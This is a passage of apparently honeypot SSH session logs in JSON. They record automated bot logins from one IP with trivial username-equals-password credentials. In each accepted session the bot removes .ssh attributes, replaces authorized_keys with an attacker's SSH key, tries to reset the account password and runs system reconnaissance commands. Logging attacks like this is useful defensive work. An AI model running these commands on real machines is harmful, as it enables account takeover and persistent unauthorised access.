-m"},{"seq":18,"at":"2026-08-27T01:47:21.621391+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:47:22.149405+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:47:22.919799+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:47:23.445401+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:47:23.966152+00:00","kind":"output","latency_ms":null,"data":"top - 01:47:23 up 6 days, 22:37, 0 user, load average: 0.33, 0.24, 0.28\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:47:24.559226+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:47:24.985687+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:47:25.510208+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:47:26.332180+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:47:26.856999+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:47:27.212946+00:00","kind":"output","latency_ms":null,"data":"wjx"},{"seq":29,"at":"2026-08-27T01:47:27.736830+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:47:29.012832+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:47:29.549014+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:47:30.732161+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"wjx","password":"wjx","method":"password","accepted":true,"tier":"other"}]} {"id":"8e71f289-0f05-487c-b98d-f1362f335a75","name":"tidal-graceful-merlin","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":47130,"username":"wjx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:47:11.811520+00:00","ended_at":"2026-08-27T01:47:12.686779+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"wjx","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e91607fb-ce6f-40dc-86b9-2af3db09d6cb","name":"sterling-fleeting-anteater","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":47116,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:47:06.656104+00:00","ended_at":"2026-08-27T01:47:09.107587+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5d170d24-50a3-41f2-b2a6-f2ed8dd45d3d","name":"tidal-pleasant-bonobo","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":36436,"username":"testserver","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":541,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:44:30.225882+00:00","ended_at":"2026-08-27T01:44:31.735209+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2265,"events":[{"seq":1,"at":"2026-08-27T01:44:04.780636+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:44:05.342759+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:44:12.864518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:44:13.598573+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:44:14.388911+00:00","kind":"input","latency_ms":null,"data":"echo -e \"testserver\\nu3BpNs98G0Yg\\nu3BpNs98G0Yg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:44:14.956282+00:00","kind":"input","latency_ms":null,"data":"echo \"testserver\\nu3BpNs98G0Yg\\nu3BpNs98G0Yg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:44:15.504629+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:44:15.766119+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:44:16.304521+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:44:17.439858+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:44:17.989117+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:44:19.282081+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:44:19.902394+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:44:20.518685+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:44:21.203201+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:44:21.478403+00:00","kind":"output","latency_ms":null,"data":" 01:44:21 up 6 days, 22:34, 0 user, load average: 0.08, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:44:22.051852+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:44:22.307877+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:44:22.858159+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:44:23.345647+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:44:23.886660+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:44:24.748735+00:00","kind":"output","latency_ms":null,"data":"top - 01:44:24 up 6 days, 22:34, 0 user, load average: 0.08, 0.09, 0.07\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:44:25.290857+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:44:25.750636+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:44:26.292087+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:44:27.047319+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:44:27.581441+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:44:28.227768+00:00","kind":"output","latency_ms":null,"data":"testserver"},{"seq":29,"at":"2026-08-27T01:44:28.762821+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:44:29.689294+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:44:30.226652+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:44:31.568800+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"testserver","password":"testserver","method":"password","accepted":true,"tier":"other"}]} {"id":"8e5400b7-3b16-4246-b37f-869ecca3c48f","name":"snowy-electric-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":36462,"username":"testserver","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:44:11.564584+00:00","ended_at":"2026-08-27T01:44:12.594908+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"testserver","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"61e6ccaa-82a5-4b7b-95ad-47f818e03003","name":"jolly-gritty-ferret","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":36448,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:44:08.737740+00:00","ended_at":"2026-08-27T01:44:09.884723+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"688b3edf-2678-4644-a938-c3e7d46e0c0e","name":"plush-ashen-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":48012,"username":"wushi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":541,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:41:45.157077+00:00","ended_at":"2026-08-27T01:41:46.363063+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T01:41:18.786377+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:41:19.330043+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:41:27.379863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:41:27.953840+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:41:28.491139+00:00","kind":"input","latency_ms":null,"data":"echo -e \"wushi\\n13Y6WsIGQi5L\\n13Y6WsIGQi5L\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:41:29.026501+00:00","kind":"input","latency_ms":null,"data":"echo \"wushi\\n13Y6WsIGQi5L\\n13Y6WsIGQi5L\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:41:29.564170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:41:30.148752+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:41:30.694541+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:41:31.754496+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:41:32.298026+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:41:33.657677+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:41:34.195583+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:41:35.019854+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:41:35.561607+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:41:36.128093+00:00","kind":"output","latency_ms":null,"data":" 01:41:36 up 6 days, 22:31, 0 user, load average: 0.15, 0.17, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:41:36.670786+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:41:37.078063+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:41:37.619610+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:41:38.505873+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:41:39.055816+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:41:39.763624+00:00","kind":"output","latency_ms":null,"data":"top - 01:41:39 up 6 days, 22:31, 0 user, load average: 0.15, 0.17, 0.1\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:41:40.296048+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:41:40.662160+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:41:41.199751+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:41:41.533083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:41:42.079607+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:41:42.782806+00:00","kind":"output","latency_ms":null,"data":"wushi"},{"seq":29,"at":"2026-08-27T01:41:43.320741+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:41:44.615828+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:41:45.157704+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:41:46.197262+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"wushi","password":"wushi","method":"password","accepted":true,"tier":"other"}]} {"id":"3aec6973-1690-445d-9b29-c8fce403ebe0","name":"western-gallant-goldfinch","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":43054,"username":"wushi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:41:26.263071+00:00","ended_at":"2026-08-27T01:41:27.199313+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"wushi","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d9d08d0f-7925-43fb-8e77-a5ed7711c1cf","name":"indigo-civil-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":48016,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:41:23.252677+00:00","ended_at":"2026-08-27T01:41:24.986700+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cf6775e3-99df-4276-b034-0548a506f67d","name":"meadow-umber-moose","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":41666,"username":"VPN","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":518,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:38:59.630835+00:00","ended_at":"2026-08-27T01:39:00.963779+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T01:38:30.505277+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:38:31.027721+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:38:42.209754+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:38:42.864738+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:38:43.376777+00:00","kind":"input","latency_ms":null,"data":"echo -e \"VPN\\njxa8SdG3IunF\\njxa8SdG3IunF\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:38:43.920081+00:00","kind":"input","latency_ms":null,"data":"echo \"VPN\\njxa8SdG3IunF\\njxa8SdG3IunF\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:38:44.619881+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:38:45.244683+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:38:45.756877+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:38:46.660770+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:38:47.174930+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:38:48.276902+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:38:48.802103+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:38:49.397471+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:38:49.913798+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:38:50.795641+00:00","kind":"output","latency_ms":null,"data":" 01:38:50 up 6 days, 22:28, 0 user, load average: 0.18, 0.15, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:38:51.313590+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:38:51.857276+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:38:52.382422+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:38:52.919016+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:38:53.430740+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:38:54.250474+00:00","kind":"output","latency_ms":null,"data":"top - 01:38:54 up 6 days, 22:29, 0 user, load average: 0.18, 0.15, 0.22\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:38:54.770842+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:38:55.133268+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:38:55.651179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:38:56.260936+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:38:56.781515+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:38:57.570047+00:00","kind":"output","latency_ms":null,"data":"VPN"},{"seq":29,"at":"2026-08-27T01:38:58.082173+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:38:59.092385+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:38:59.631640+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:39:00.806210+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"VPN","password":"VPN","method":"password","accepted":true,"tier":"other"}]} {"id":"7d133289-583d-4f56-88b8-a66808cbd0bd","name":"quartz-mottled-bittern","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":33644,"username":"VPN","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:38:40.900184+00:00","ended_at":"2026-08-27T01:38:42.050466+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"VPN","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6b6a2e86-750f-4d73-9089-59e0d4f9a775","name":"sturdy-brave-okapi","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":33640,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:38:35.564842+00:00","ended_at":"2026-08-27T01:38:36.910186+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"33dfaf6c-a578-4c80-8a86-82e9aa4f5c40","name":"marbled-somber-sable","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":39998,"username":"alma","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":530,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:35:49.956104+00:00","ended_at":"2026-08-27T01:35:51.548596+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T01:35:19.700752+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:35:20.261899+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 